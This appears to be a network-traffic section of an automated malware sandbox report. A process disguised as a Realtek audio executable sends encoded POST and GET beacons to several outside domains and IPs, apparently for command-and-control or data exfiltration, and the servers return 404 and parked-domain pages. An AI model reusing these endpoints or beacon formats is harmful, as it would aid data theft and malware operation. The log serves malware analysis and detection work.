d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49762	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:50.465363026 CET	2578	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 58 63 55 73 32 4c 51 47 33 6b 6e 71 4b 70 4a 74 2b 6e 42 66 37 58 59 69 62 63 35 7a 68 48 6c 47 6b 67 33 71 56 77 36 6b 2f 77 4e 4f 6b 41 6b 30 37 33 53 2f 2f 46 51 69 34 4a 78 65 4e 33 45 58 35 4c 35 51 36 2b 56 67 4b 4c 6a 32 48 63 6c 38 59 64 2b 2b 30 48 37 36 77 6e 6f 53 70 35 76 2f 47 57 58 67 59 43 6b 73 48 37 63 56 46 54 4b 72 4b 6b 6b 46 61 76 54 57 64 76 74 39 42 31 35 47 6d 35 73 7a 52 4c 78 64 52 61 48 32 38 72 2f 68 35 50 62 37 78 7a 6d 57 44 44 32 32 4b 47 5a 75 63 53 50 6d 54 46 36 68 4c 6f 38 4b 49 72 57 4d 6f 69 6a 6c 45 72 55 63 4d 59 6c 52 5a 54 66 31 72 67 57 49 47 77 62 2b 6c 63 37 75 58 78 42 43 44 43 50 6d 57 75 35 53 78 57 79 6b 51 4a 64 79 4e 65 69 41 66 72 63 79 78 2f 49 62 78 62 4c 59 73 77 75 74 43 6a 4d 6d 79 76 65 59 49 4b 6e 65 54 6a 53 73 67 43 52 74 43 70 4f 4a 48 69 70 53 51 2b 33 76 49 54 71 45 41 35 79 49 6e 56 6b 50 4b 45 64 31 63 39 44 4c 68 51 6c 34 52 6c 41 64 70 2f 79 6d 6e 76 4e 6f 38 51 36 46 7a 4f 72 [TRUNCATED] Data Ascii: pluxVm=00x6Nc1OHcgHXcUs2LQG3knqKpJt+nBf7XYibc5zhHlGkg3qVw6k/wNOkAk073S//FQi4JxeN3EX5L5Q6+VgKLj2Hcl8Yd++0H76wnoSp5v/GWXgYCksH7cVFTKrKkkFavTWdvt9B15Gm5szRLxdRaH28r/h5Pb7xzmWDD22KGZucSPmTF6hLo8KIrWMoijlErUcMYlRZTf1rgWIGwb+lc7uXxBCDCPmWu5SxWykQJdyNeiAfrcyx/IbxbLYswutCjMmyveYIKneTjSsgCRtCpOJHipSQ+3vITqEA5yInVkPKEd1c9DLhQl4RlAdp/ymnvNo8Q6FzOrbp9KILaDeZqP1DT3pSPbhjtJUan8M/ZxuN/IIeWtt+KNKtyZWHfusrVJr8nQzv+SEkg8taSFLcZXjf+4lsCdM+kuEafuYdgvYGxTWSPx+0nsq/Yibhp67ALUBM8MjkhZF/MQmk9ikh2BKvXrx1F+L0oZhhTW9ZhFGRH36nPATO1BnCqaCZn+MhnGtpKCzjIy9W7rSxOGumWc5ndV10tgCKKU4XleBE9+0Lum4dSFKng5Ixycpx2lPPnYxpspf9zDDpvrgwCf8ddeY9amyFpSkxvZ+xE83fCNPaWcOs2t0QRJ11GjfusCxVtaWxmnGchdoGrMrlHZzu6xMxjC/n80GgvOyh1Bf8IZc6Tjeul32qRnE5HAFJ2WFmo/8qxhFtuvQwtqg5sR9PkjgwjTpIWSXgQDNdoGZicH9ftkcXN9FpP7xzqnxCdLeuDB1crZSjatAeoLhH4be94wwaY21YjBAmb9b8qsU5vm95yhifwQzHMiclddev9Mn9elo6l7j1l3VVldyT4I0TWZ+FpWGy7k9vGie3f9biIvWFDDZb/0RfQfe6Olp0+9lfWCImYma38sTfhANUZ6XaXau5brk16ZpYd8vIx9ZjZuYJDSVvpS68C92aBXACeV5slJwIMro7oSj5du1jOYBS5w9YKLjRr4JY5nUo9WLk65iN [TRUNCATED]
Dec 3, 2024 14:51:50.465404987 CET	5262	OUT	Data Raw: 69 41 30 78 61 72 62 51 42 48 71 68 42 37 31 35 39 52 36 6d 79 2f 61 35 54 67 45 73 74 76 65 65 66 4e 78 52 71 31 46 56 37 33 56 48 41 49 59 53 68 7a 55 6e 34 45 70 49 79 78 30 45 38 34 33 38 49 44 56 34 33 35 6a 5a 36 2f 33 46 6d 6e 73 42 5a 77 Data Ascii: iA0xarbQBHqhB7159R6my/a5TgEstveefNxRq1FV73VHAIYShzUn4EpIyx0E8438IDV435jZ6/3FmnsBZw+5p9U9FzTu5NphdrsMemEZRnUazUcCNzCxjwebvB58V/lmiUOyTy5Ed2qIEJdYEGij7TzRV/svsX1hphTzYUDz2WPriYzu0T74DPEv8DS7gHhL1lKbaz0CIC3zvAe9LvyBMtb9LC29NG4xsGquHIeJMNzkDBMgZT+
Dec 3, 2024 14:51:50.668787956 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:51:50 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49763	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:53.183054924 CET	416	OUT	GET /o5mm/?pluxVm=52ZaOoJJHsYFYpcE8OJe6kaaR+Ibp2Nxq28CYNd7tHRxqCukViCUoHxjhmN2/g+W5SkTzZJsaEIA3pVY9O1vDv+SN/8yFpfSlnbOuEouoKz6AG71fS9yZK8=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:51:53.376332045 CET	745	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 601 Connection: close Date: Tue, 03 Dec 2024 13:51:53 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49764	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:51:58.737869024 CET	677	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 4c 58 45 49 4a 4f 43 6c 79 4e 63 79 7a 6b 56 4e 72 62 43 2b 42 32 36 57 56 72 54 32 32 51 7a 4e 69 53 39 70 42 4e 31 4e 31 74 75 45 31 56 4a 49 6c 56 79 48 6d 32 55 64 50 53 6f 45 33 42 79 59 75 67 6b 5a 69 68 30 68 77 6f 67 50 50 41 47 67 55 48 31 30 68 42 71 72 66 4c 41 32 69 4a 50 39 4b 4c 77 4a 43 76 2f 43 42 6d 76 64 71 54 5a 67 62 7a 43 50 55 54 6a 32 6d 2b 56 64 57 66 74 70 67 78 46 54 70 4d 6e 64 73 70 67 4e 38 6b 4e 33 41 67 73 70 62 72 58 56 45 66 31 71 63 6b 42 31 6c 52 69 5a 79 74 56 77 2f 45 6c 65 67 33 48 2f 48 70 6e 63 41 3d 3d Data Ascii: pluxVm=Au1rE+1OP8YWkLXEIJOClyNcyzkVNrbC+B26WVrT22QzNiS9pBN1N1tuE1VJIlVyHm2UdPSoE3ByYugkZih0hwogPPAGgUH10hBqrfLA2iJP9KLwJCv/CBmvdqTZgbzCPUTj2m+VdWftpgxFTpMndspgN8kN3AgspbrXVEf1qckB1lRiZytVw/Eleg3H/HpncA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49765	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:01.472388983 CET	697	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 76 54 45 4b 75 79 43 67 53 4d 75 72 44 6b 56 44 4c 62 47 2b 42 4b 36 57 52 61 49 32 41 41 7a 4e 48 2b 39 75 41 4e 31 42 56 74 75 50 56 56 47 56 56 55 2b 48 6d 36 36 64 4c 53 6f 45 33 56 79 59 72 63 6b 5a 56 31 33 7a 51 6f 69 55 66 41 45 75 30 48 31 30 68 42 71 72 66 66 75 32 69 52 50 39 37 37 77 49 6a 76 67 4c 68 6d 67 4b 61 54 5a 72 37 7a 4f 50 55 54 52 32 6a 6d 2f 64 55 6e 74 70 67 42 46 54 63 77 6b 58 73 70 6d 43 63 6c 73 34 51 67 70 70 4c 66 61 65 31 72 41 75 50 63 32 77 7a 63 34 45 41 5a 78 7a 73 59 58 61 51 4f 76 39 46 6f 38 42 43 66 50 30 65 6d 67 6e 65 4a 30 69 6e 57 63 4f 55 64 57 30 36 30 3d Data Ascii: pluxVm=Au1rE+1OP8YWkvTEKuyCgSMurDkVDLbG+BK6WRaI2AAzNH+9uAN1BVtuPVVGVVU+Hm66dLSoE3VyYrckZV13zQoiUfAEu0H10hBqrffu2iRP977wIjvgLhmgKaTZr7zOPUTR2jm/dUntpgBFTcwkXspmCcls4QgppLfae1rAuPc2wzc4EAZxzsYXaQOv9Fo8BCfP0emgneJ0inWcOUdW060=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49766	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:04.206541061 CET	7734	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 76 54 45 4b 75 79 43 67 53 4d 75 72 44 6b 56 44 4c 62 47 2b 42 4b 36 57 52 61 49 32 41 49 7a 4d 78 71 39 6f 6a 6c 31 41 56 74 75 47 31 55 68 56 56 56 6b 48 69 65 32 64 4c 57 53 45 30 74 79 4b 64 6f 6b 66 6b 31 33 35 51 6f 69 4c 50 41 46 67 55 48 73 30 68 52 75 72 66 50 75 32 69 52 50 39 35 6a 77 50 79 76 67 4e 68 6d 76 64 71 54 4e 67 62 7a 69 50 51 32 6b 32 69 53 46 64 45 48 74 70 45 74 46 55 2b 59 6b 56 4d 70 6b 4f 38 6c 4f 34 51 74 35 70 50 47 6c 65 32 33 35 75 4d 4d 32 39 31 4a 36 55 45 42 4d 6c 4f 4d 36 53 69 43 46 7a 31 63 7a 66 31 50 75 33 2b 76 4f 6b 62 4e 59 69 45 53 77 66 6d 78 68 6a 2b 58 76 50 4d 37 66 4e 6a 37 71 42 59 36 7a 53 58 75 4e 44 44 73 59 45 41 49 43 77 76 6d 79 37 42 67 64 31 55 6b 33 48 76 2b 36 44 64 41 43 55 42 50 48 78 69 2f 66 44 6d 49 70 69 4c 36 4d 4a 6e 7a 61 43 6b 43 67 2f 30 55 73 68 55 32 41 31 57 77 65 74 4c 70 45 76 53 66 35 56 78 72 68 43 6d 4a 4a 63 35 7a 41 34 75 7a 6a 53 67 52 62 35 53 6f 52 4a 75 2f [TRUNCATED] Data Ascii: pluxVm=Au1rE+1OP8YWkvTEKuyCgSMurDkVDLbG+BK6WRaI2AIzMxq9ojl1AVtuG1UhVVVkHie2dLWSE0tyKdokfk135QoiLPAFgUHs0hRurfPu2iRP95jwPyvgNhmvdqTNgbziPQ2k2iSFdEHtpEtFU+YkVMpkO8lO4Qt5pPGle235uMM291J6UEBMlOM6SiCFz1czf1Pu3+vOkbNYiESwfmxhj+XvPM7fNj7qBY6zSXuNDDsYEAICwvmy7Bgd1Uk3Hv+6DdACUBPHxi/fDmIpiL6MJnzaCkCg/0UshU2A1WwetLpEvSf5VxrhCmJJc5zA4uzjSgRb5SoRJu/SIqo7eGXLkKIXul+7dDPG4SbtMkaY0P4fan31BmxeNlxbkmALxtZPI+G/Hb4+Lysk/31YBbJjFd+gWvrkXThz43g481TydRyiRa+AUR0Yz2VToTx2lSBBGXzlgHvGp14QQ/ktjkxqlmLIBOiimM5WY9gPMWLynG5Ngi4unWPr5uIE34dtni6mP7lpMM+l0OreYHiRZF0K5e86CVxmVXYvj4cRC15MgDP4A8UOxJNZwK+xlFi0F8I5T2r09Zy8+qIRQS6IQKlZ8G/a0unrIBeq2DNtyi1RBhu5MOw6z0HQPSVBZJbIjnG20iFu0cE4qQZlktn/5IrUC6ePHXP5p6a2c9cL/Io0AiAyidtCTfdvKdYj4rRM99wl0cHtlahU/MtpbW28WkYHzE++Gt845YC3BRT/z+kE83w4w0yfMvtJcQk78oXvdjWw8cNHIqhmfRFRrna5WGZaiivrBBbRhj43O5hkJp7XW8ckbNyYzLlN5M91RgxjlHrw1Lvl4/uzGQEL1fb8q/wF3YYJefsQBGpxS17SHjVGpdGN+QuO27t7gw0Udd4mcFInvuyG9NOO25j5GqSDCEYis01vx51aGVjgCuw1PMar4zKTL5ZrkKUbbouzhRW4ScMHb32t/SbdszN10YolZnx0aXnsXcUNTblTlZCUFPq/4eYn9 [TRUNCATED]
Dec 3, 2024 14:52:04.206655025 CET	112	OUT	Data Raw: 34 57 6e 48 5a 4c 73 39 65 70 47 66 76 41 76 37 6b 56 34 51 4b 42 2f 42 4a 4c 4e 51 44 56 77 61 52 5a 57 2b 53 68 48 55 4f 68 61 38 4e 46 2f 4d 61 64 51 62 45 63 36 52 42 67 59 58 4d 74 6e 31 78 79 57 73 65 79 69 52 77 74 47 6a 32 53 76 30 65 33 Data Ascii: 4WnHZLs9epGfvAv7kV4QKB/BJLNQDVwaRZW+ShHUOha8NF/MadQbEc6RBgYXMtn1xyWseyiRwtGj2Sv0e3Mo0pvlHuP+IolM2Lc3wQegE1a1Wg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49767	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:52:06.938968897 CET	418	OUT	GET /073p/?pluxVm=NsdLHLYUe9sblrm0I+Crv144tHMQQbz/4RSieCn+7DwPKByw7jhxCyJ0LTJMQHRDPlmDRdKjKllFY9ccUXh843okMet3hg+QsBhX3tP/6BR9rZiNBzb3ESI=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:52:07.150970936 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:52:07 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: e11158232d6107c78d0906946e7d0c0b-asc-edge6 Expires: Tue, 03 Dec 2024 13:52:06 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;m
Dec 3, 2024 14:52:07.151252031 CET	1289	IN	Data Raw: 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 Data Ascii: argin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:60
Dec 3, 2024 14:52:07.151307106 CET	1289	IN	Data Raw: 65 61 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f Data Ascii: ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;lin
Dec 3, 2024 14:52:07.151351929 CET	1289	IN	Data Raw: 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 Data Ascii: ze:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:
Dec 3, 2024 14:52:07.151395082 CET	1289	IN	Data Raw: 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f Data Ascii: -graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/affiliates rel=nofollow><i aria-hidde
Dec 3, 2024 14:52:07.151437998 CET	1289	IN	Data Raw: 46 69 6e 64 20 79 6f 75 72 20 68 6f 73 74 69 6e 67 20 70 6c 61 6e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 73 2d 31 32 20 63 6f 6c 2d 73 6d 2d 34 20 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d Data Ascii: Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosting</div><br><p>Add your website to any of your hosting plans. Follow the article
Dec 3, 2024 14:52:07.151479959 CET	1289	IN	Data Raw: 54 46 2d 31 36 20 76 61 6c 75 65 22 29 3b 36 35 35 33 35 3c 72 26 26 28 72 2d 3d 36 35 35 33 36 2c 65 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 72 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 29 2c 72 3d Data Ascii: TF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=2147483647;function e(o,r){return o+22+75*(o<26)-((0!=r)<<5)}function n(r,e,n){var t;
Dec 3, 2024 14:52:07.151530027 CET	1289	IN	Data Raw: 68 61 72 43 6f 64 65 41 74 28 30 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 74 66 31 36 2e 65 6e 63 6f 64 65 28 6d 29 7d 2c 74 68 69 73 2e 65 6e 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 76 61 72 20 68 2c 66 2c 69 2c 63 2c 75 Data Ascii: harCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toLowerCase())).length;if(a)for(d=0;d<v;d++)w[d]=t[d]!=w[d];var m,y=[];for(h=128,u=72,d=f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49768	209.74.79.42	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
